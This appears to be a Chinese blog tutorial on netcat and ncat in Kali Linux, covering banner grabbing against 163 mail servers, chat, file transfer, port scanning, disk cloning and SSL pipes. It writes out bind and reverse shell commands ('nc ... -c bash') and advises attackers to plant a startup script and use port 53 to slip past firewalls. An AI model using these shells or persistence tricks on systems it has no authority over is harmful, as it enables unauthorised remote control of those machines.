kail教程(七)—基本工具(nc、ncat)

常用工具

经常使用且功能强大,安全从业者必不可少的帮手。

Nc/ncat

是网络工具中被成为瑞士军刀,特点:体积小巧,功能强大。
跨平台,有windows也有linux的。
可以做的事情:

  • telnet/获取banner信息:NC比telnet强大
  • 传输文本信息:举例:它可以做聊天工具
  • 传输文件/目录
  • 加密传输文件:默认传输文本文件是不加密的
  • 远程控制/木马
  • 加密所有流量
  • 流媒体服务器
  • 远程克隆硬盘
1.NC——telnet/banner

1.可以telnet目标端口,发送一些指令,连接对方服务。
nc可以作为客户端使用,也可以作为服务端使用。作为客户端的时候,他可以连接其他服务器的服务端口,对服务口发送指令进行探测。

 常用语法: nc -nv ip 端口
  -eg:nc -nv 1.1.1.1 80

nc -h  #可以查看参数的使用

在这里插入图片描述

-v:显示详细的连接输出内容
-n:后面跟ip地址,如果跟域名,-n参数不会进行域名解析。所以不建议跟域名。

例1:163服务器

作为客户端使用,连接pop3.163.com邮箱
1.域名解析,获取ip地址
在这里插入图片描述
2.运行命令
pop3是110端口,所以命令为:

nc -vn 123.126.97.79 110

在这里插入图片描述
分析信息:
运行指令,可以体现出nc的第一个作用:连接到服务器端口之后,就会查看到服务器相关的一些banner信息。通过连接,可以发现服务器地址上的110端口open的同时,又返回了“Welcome to …”,通过这行信息分析,我们可以知道163的邮件服务器用的是coremail,通过coremail实现的邮件服务。

在这里插入图片描述
分析信息:
会返回163smtp服务器的一个banner 信息,coremail系统的一个专门反垃圾邮件网关。


例2:http服务器

在这里插入图片描述

2.NC——传输文本信息

例如:两台服务器进行聊天。
如果需要两台服务器进行交互,就需要其中一台服务器开放端口用来侦听。另外一台服务器作为客户端去连接那个端口。
A:nc -l -p 端口号
B:nc -nv ip 端口
在这里插入图片描述
连接在一端终止,两边就同时都终止了。


适用于远程电子取证。

电子取证有一个原则:怀疑一台计算机有问题,要审计它,尽量少的或者不去修改计算机里面文件的内容,避免破坏可以搜集到的证据。
在这里插入图片描述
在这里插入图片描述
-q:在命令执行完之后延迟一定时间后退出指令断开连接。如果不自动断开连接,不知道指令是否运行完成。

3.NC——远程控制

只能在一定程度上替代ssh实现远程控制,但不能完全替代。
它可以实现双向控制。
类似可以理解为QQ的桌面远程控制。
**注:**通过kail控制windows,可以在windows上安装nc,命令中windows用户把bash改成cmd。

正向

客户端获取服务端的shell权限。

#服务端:
A:nc -lp 端口 -c bash  #一旦别人用nc连接我,我会将bash shell通过nc的建立传给对方。
#客户端
B:nc -nv 服务端ip 端口

在这里插入图片描述
左侧B ls列出来的文件是右侧A虚机的内容,相当于已经远程控制A虚机。B虚机已经获取到A虚机的shell权限。

反向

服务端获取客户端的shell权限。

#服务器
A:nc -lp 端口
#客户端
B:nc -vn 服务器ip  端口 -c bash

在这里插入图片描述
B在nc连接状态下输入ls、pwd等命令没有反应,A输入这些指令获取到的B的信息,此时A已经获取到B的shell权限。

正常情况下:假设B是一台放在IDC机房跑着业务的服务器,IDC机房的边界处通常放有防火墙,防火墙是不会打开很陌生的端口并映射给A虚机并允许外面的人对他进行连接的,并且IDC机房的服务器会除了已经开放的端口,会过滤掉剩余从外到内的访问流量,在边界防火墙就已经将流量封掉了。
对于初级网络管理员:
此时使用正向连接是不现实的,这时就可以使用反向连接,渗透测试者使用的攻击端A去开放端口主动侦听,在B上通过服务的启动脚本,每次重启系统B会主动连接攻击者A的ip地址,连接之后,B就会主动的将自己的shell交给攻击者A。这种情况就会比较容易实现。因为网络管理员不会限制从内向外的流量控制。
对于安全意识比较好的网络管理员:
也可能存在他会禁止掉大部分从内向外的流量的情况。但是B一定开放有某些端口,例如开放了53端口,那A就可以开放53端口侦听53端口,这样边界防火墙也不会对这种访问行为作过滤。
对于安全做的非常好的网络管理员,
他可能在内网服务器群中做一台服务器作为自己的DNF服务器,其他的业务服务器真的就是从内网到外网真的在防火墙内,这时候就真的很难去逾越。

4.NC——NCAT

nc的所有功能ncat都能实现。
NC缺点:

  • NC传输的所有数据流量都是不加密的,缺乏加密能力。容易被嗅探。
  • 打开端口,会被别人尝试利用。缺乏身份验证能力,不能对用户身份进行判断。

NCAT就是弥补这些缺点,他是包含于nmap工具包中,是nmap工具套件中的一个。


用ncat实现管道式加密。无论里面数据是明文还是什么,当有人抓包看到的数据都是加密的,因为管道本身就是被加密的。

#服务端
ncat -c bash --allow 客户端ip  -vnl 端口  --ssl
#服务端
ncat -v 服务端ip  端口 --ssl

在这里插入图片描述
每次建立连接ssl的指纹信息都是不一样的。


在这里插入图片描述
右侧虚机只允许ip为118的虚机去连接,但此时左侧虚机ip为119,就会报输入输出错,右侧虚机做了身份验证,会提示不允许连接。

要注意:不同版本,不同平台的nc参数功能都不同。

4.NC——传输文件/目录

传输文件:

#接收端打开端口
A:nc -lp 侦听端口 >文件名  #>,输出;侦听该端口侦听到的内容输出到文件名中
#发送端
B:nc -nv ip 端口< 文件名 -q 1  #<,将要传递的文件、文件名输入到nc的连接远端的端口里#传输端打开端口
A:nc  -lp 端口 < 文件名 -q 1
#接收端
B: nc -nv ip 端口> 文件名

一个是开放端口等待别人传输文件,一个是开放端口等待别人接受文件。


传输目录

A:tar -cvf -  要打包的文件/ | nv -lp 端口 -q 1 #将打包的文件的输入作为后面文件的输出
B: nc -nv ip 端口 | tar -xvf -  #对收到的文件解包

加密传文件

#接收端开放端口
A:nc -lp 端口|mcrypt --flush -Fbqd -a rijndael-256-m ecb >文件名  #侦听端口,将收到的文件解密输出
B: mcrypt --flush -Fbq -a rijndael-256-m ecb < 文件名 |nc -nv 接收端ip 端口 -q 1 #将文件加密输出

在这里插入图片描述
他不是nc本身的加密功能,而是利用操作系统mcrypt的命令先做了加密。
默认kail没有安装mcrypt命令,需要自己安装。

apt-get install mcrypt #安装mcrypt命令
5.NC——流媒体服务
A:cat 文件名 | nc -lp 侦听端口 #以流的形式输出到B端
B:nc -nv ip 端口 | mplayer -vo xll -cache 3000 -  #将流的内容给媒体播放器,接收一点播放一点,默认缓存大小是3000

mplayer命令默认是没有安装的,也需要安装。
本地不会生成保存文件的内容。

6.NC——端口扫描
nc -nvz ip 1-65535(可以改变端口区间)
nc -nvzu ip 1-65535(可以改变端口区间)

默认情况下,nc使用的是tcp协议,所以探测到的要是tcp端口。如果想要探测udp的端口,可以使用第二条命令。
每一个扫描器扫描的信息都不一定是准确的。建议多使用几种方式去扫描,这样得到的数据相对准确点。

7.NC——远程克隆硬盘

远程电子取证,可以将目标服务器硬盘远程复制或者复制内存。

#接收端开放端口
A:nc -lp 开放端口 | dd -of=/dev/sda
B:dd if=/dev/sda |nc -nv ip 端口 -q 1
发布了28 篇原创文章 · 获赞 0 · 访问量 900

猜你喜欢

转载自blog.csdn.net/weixin_43876557/article/details/104522343